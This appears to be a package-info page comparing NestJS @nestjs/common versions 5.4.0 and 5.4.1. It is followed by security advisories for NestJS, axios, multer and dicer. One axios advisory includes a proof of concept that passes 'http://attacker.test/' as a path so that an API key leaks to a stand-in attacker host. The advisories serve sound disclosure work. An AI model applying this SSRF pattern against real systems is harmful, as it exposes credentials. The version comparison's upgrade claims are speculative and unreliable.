@nestjs/common is a fundamental package within the NestJS framework, a popular choice for building efficient and scalable Node.js server-side applications. Versions 5.4.0 and 5.4.1, while seemingly close, offer insights into the iterative development and maintenance characteristic of open-source projects. Examining them helps in understanding the impact even seemingly small version bumps can have.
Both versions share the same core dependencies like uuid, axios, multer, cli-color, and deprecate, and peer dependencies on rxjs and reflect-metadata suggesting a stable API surface. They also have the same license, repository, and author. This indicates that the fundamental architectural components and external library requirements remain consistent.
The primary observable difference lies within the dist object, particularly the unpackedSize and releaseDate. Version 5.4.1 features a slightly smaller unpackedSize (174866 bytes) compared to version 5.4.0 (174960 bytes), perhaps indicating minor code optimizations or removal of redundant files. The releaseDate confirms version 5.4.1 was released later than 5.4.0, more than a month to be precise. This likely means that version 5.4.1 includes bug fixes, and small tweaks.
For developers using NestJS, the upgrade from 5.4.0 to 5.4.1 is likely a safe and recommended one. The differences aren’t significant enough to introduce breaking changes. It likely improves stability and provides subtle optimizations, making it a worthwhile update. While not revolutionary, these point releases are crucial for maintaining a healthy and dependable framework. Check the project's changelog to see the specific issues addressed.
All the vulnerabilities related to the version 5.4.1 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Denial of Service in axios
Versions of axios prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the maxContentLength property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.
Upgrade to 0.18.1 or later.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
baseURL and does not validate path parameters is affected by this issue.Multer vulnerable to Denial of Service via memory leaks from unclosed streams
Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.
This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.
Users should upgrade to 2.0.0
None
Crash in HeaderParser in dicer
This affects all versions of the package dicer. A malicious attacker can send a modified form to the server and crash the Node.js service. A complete denial of service can be achieved by sending the malicious form in a loop.